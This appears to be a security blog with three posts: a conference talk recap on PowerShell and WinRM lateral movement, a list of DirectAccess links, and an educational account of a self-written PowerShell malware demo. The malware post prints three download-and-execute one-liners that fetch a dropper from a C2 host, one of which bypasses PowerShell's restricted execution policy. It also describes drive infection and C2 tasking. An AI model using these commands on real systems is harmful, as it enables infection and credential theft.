Crikey, was CrikeyCon FUN!
I am still overwhelmed by the amazing and super positive response from my presentation at this year’s inaugural CrikeyCon. I really didn’t expect anywhere near the reaction from those who attended, it has taken the last few days for everything to really sink in. I never expected people to be so amazed by the lateral movement capabilities of PowerShell combined with WinRM, I expected some to be shocked but not as many as I did.
As requested, you can find the slide deck here, and the GitHub code is available here. If you take a look through my GitHub repositories, you will notice how much PowerShell code I normally write, and you can also see the previous version of the same code.
I have to admit, there are two minor inaccuracies in my presentation. One makes things better, the other makes things much, much worse.
1. In the slides I stated that “WinRM is enabled by DEFAULT on domain 2012(R1/R2) joined servers”. I gathered this from Microsoft, but upon further investigation, this link from Microsoft actually states the situation is much worse: “In Windows Server 2012 R2 and Windows Server 2012, remote management is enabled by default.”
2. During question time, I said that installing the Windows Remote Management 4.0 bundle onto Windows 2008 (R1/2) servers, will enable WinRM for domain joined systems. I currently don’t believe this to be true, there doesn’t seem to be any confirmation from Microsoft, I am still testing in my lab and will let you all know.
I am currently working on an extended video of my presentation, in which I will go into more detail around each of the issues and will show the code in detail as well. I am also planning on writing a paper which will discuss using PowerShell and WinRM for lateral movement, possible attack vectors as well as strategies to protect your environment. Once these have been completed, I will let you all know.
I would really like to thank Ash and Wade for convincing me to speak and for organising CrikeyCon as well as Patrick over at Risky.biz for being an excellent MC.
Lastly, sorry for the lame title for this post.
Once again:
DirectAccess Resources
So I have been spending quite a significant amount of time working on DirectAccess and generally talking to people about DirectAccess, remote access and working remotely in generally over the past few months.
DirectAccess was a technology that I had wanted to work with for a significantly long period of time, the concept of an always on VPN like it has always interested me. I was extremely excited to be given the opportunity to work with it!
Not only did I get the opportunity to deploy DirectAccess in an enterprise environment, but I also had the chance to share my experience with the Brisbane Infrastructure Group. My presentation can be found here.
So I thought why not provide you all with links to some of the resources that I used during my deployment of DirectAccess
Blogs:
Richard Hicks (MVP DirectAccess) - http://directaccess.richardhicks.com/
Tom Shinder (MVP DirectAccess / TMG) - http://blogs.technet.com/b/tomshinder
Iron Networks - http://www.ironnetworks.com/blog/
Specific articles you should read:
http://www.ivonetworks.com/news/2013/10/is-isatap-required-for-directaccess/
http://www.ironnetworks.com/blog/application-compatibility-issues-microsoft-directaccess
http://www.ironnetworks.com/blog/directaccess-network-location-server-considerations
http://www.ironnetworks.com/blog/common-directaccess-implementation-mistakes
There are probably some links missing, if there are other things that I realize I have missed, I will update this post.
PowerShell Malware
I was originally planning to publish this blog post in a few weeks’ time, once I had covered some more PowerShell basics however; things have forced me to proceed sooner.
Sophos on the Naked Security Blog posted an article on some ransomware written in PowerShell, which was then written about on LifeHacker; from there my inbox received numerous emails. I felt compelled at this point to write about my PowerShell Malware.
Back in December, I did a presentation at Infrastructure Saturday titled Malware, What! The aim of the presentation was to show IT Professionals how bad guys can get into their networks, and then some things that they can do once they get in. The situation was that of a former employee going rogue and wanting to cause major embarrassment to his former employer, boss, and teammates.
I used some very simple social engineering attacks for the attacker to get a foothold and install a very simple piece of malware. With the simple malware, the attacker obtains domain administrator credentials, gains administrative access to a domain controller and finally dumps the hashes in the Active Directory database then uses CloudCracker to crack those. I finished the session with some HID hacking.
The one important thing was that the simple malware used, written by myself, was entirely in PowerShell. Why did I use PowerShell? Firstly, I wanted to show IT Professionals, in a simple way, what the inner workings of a piece of malware might look like. If IT Professionals saw some simple code that went off to a remote C2 server, downloaded a set of instructions, and executed each one, then they might start to come up with some strategies to protect their organisations. Another reason to use PowerShell is that it honestly makes a great platform for a backdoor. Microsoft made PowerShell as a platform for Administrators to manage large fleets of computers, or in another view, for bot net/malicious users to manage large fleets of infected computers.
One other thing I want to cover before I start showing you more of the actual malware, I wanted to point out that in my demonstration, the scripts were all digitally signed, the cert performing the signing was trusted by all of the computers in the victims network. For safety, I used a certificate issued by a private CA I created (and like the rest of the C2 infrastructure have taken down), but in real life, it could easily have been a valid third part certificate. So much malware are digitally signed, and I wanted to continue this theme, besides, it allows us to bypass some of PowerShell’s built in security.
So how did my malware work? The malware has several parts, a dropper “Infect-WebPC.ps1”, the code which will go off and talk to the C2 infrastructure <>…
Let us look at the infection of a user’s computer. In my example organisation, everyone was running Windows 7, with UAC off and with users running as local admin, much like a large number of organisations. This is a popular configuration for software developers.
In my presentation, the attacker tricked users into running one of three commands:
1.
@powershell -NoProfile -ExecutionPolicy unrestricted -Command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');c:\programdata\infect-webpc.ps1"
2.
@powershell -noprofile -Command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');c:\programdata\infect-webpc.ps1"
3.
@powershell -noprofile -command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');$exp = '';get-content c:\programdata\infect-webpc.ps1 | foreach {$_.trim()} | where-object {!$_.startswith('#')} | foreach { if ($_.startswith('{')) { $exp=$exp+$_ } else { $exp = $exp + ';' + $_}};invoke-expression $exp"
The first will work against any user whose PowerShell execution policy is the set to the default. All we are doing is asking PowerShell to use the .Net frameworks WebClient object to download our PowerShell dropper script and then execute it. Notice here we specify the PowerShell’s session execution policy to unrestricted.
The second is actually simpler than the first, and will work whenever the execution policy set to “RemoteSigned” or “AllSigned”, other than that, it is the same as the first one.
The third is the kicker; this one BYPASSES the restricted mode execution policy setting. Normally no scripts would run, yet in this case, I can get my dropper to run. How?? Well, we start by downloading the dropper script as we previously did, but we do some other things instead of simply executing the script. This time we read the script, and then turn the nicely formatted script into a PowerShell “one-liner”, from there we use invoke-expression to run that one-liner. Now we are running our malicious code, bypassing that lovely security policy.
So far, things are simple; now let us look at the dropper's code:
Simply put, it will see if the system is already infected, or if my “don’t infect flag file” is present; if they are, then it does not do anything; otherwise, it runs the following steps:
- 1. Downloads the scripts needed: Infect-PC.ps1, Infect-Drives.ps1, invoke-candc.ps1
- 2. Downloads two windows task scheduler xml definition files: infectdrives.xml and invokecandc.xml
- 3. Imports the two scheduled tasks using schtasks.exe
- 4. Runs the two scheduled tasks using schtasks.exe
All very simple for a dropper script.
Now what are the two scheduled tasks? The first is infect-drives.ps1, this runs every 5 minutes and simply put, will drop an autorun.ini file and the infect-pc.ps1 script on every drive (remote or network share) that it gets its hands on to. It is a simple drive infector. I was going to show this off during my presentation, but ran out of time.
The other script, invoke-candc.ps1, and runs every 30 minutes, this script is more interesting than the others are, as it performs most of the workload. The code looks like:
The invoke-candc.ps1 script performs the following steps:
- 1. Creates a file containing the running process and installed services, it then uploads this to the C2 server
- 2. Downloads a list of tasks to be completed from the C2 server
- 3. Reads a file containing the id numbers of previously run tasks
- 4. From the task list from the C2 server, it filters out any tasks it has previously run, or any task that has a hostname listed which isn’t it
- 5. It will then executes the remaining tasks, and if it completes successfully, logs the task number to a file
Tasks can be anything, from a PowerShell expression, script or any windows executable. In the demo, I used a mixture including:
- Download and upload files
- Download PwdumpX and other password dump tools
- Run PowerShell Scripts
As you can see, it is all very simple.
I have the code up on GitHub, and the slides with my presentation notes are here. The C2 server is down, and will remain that way.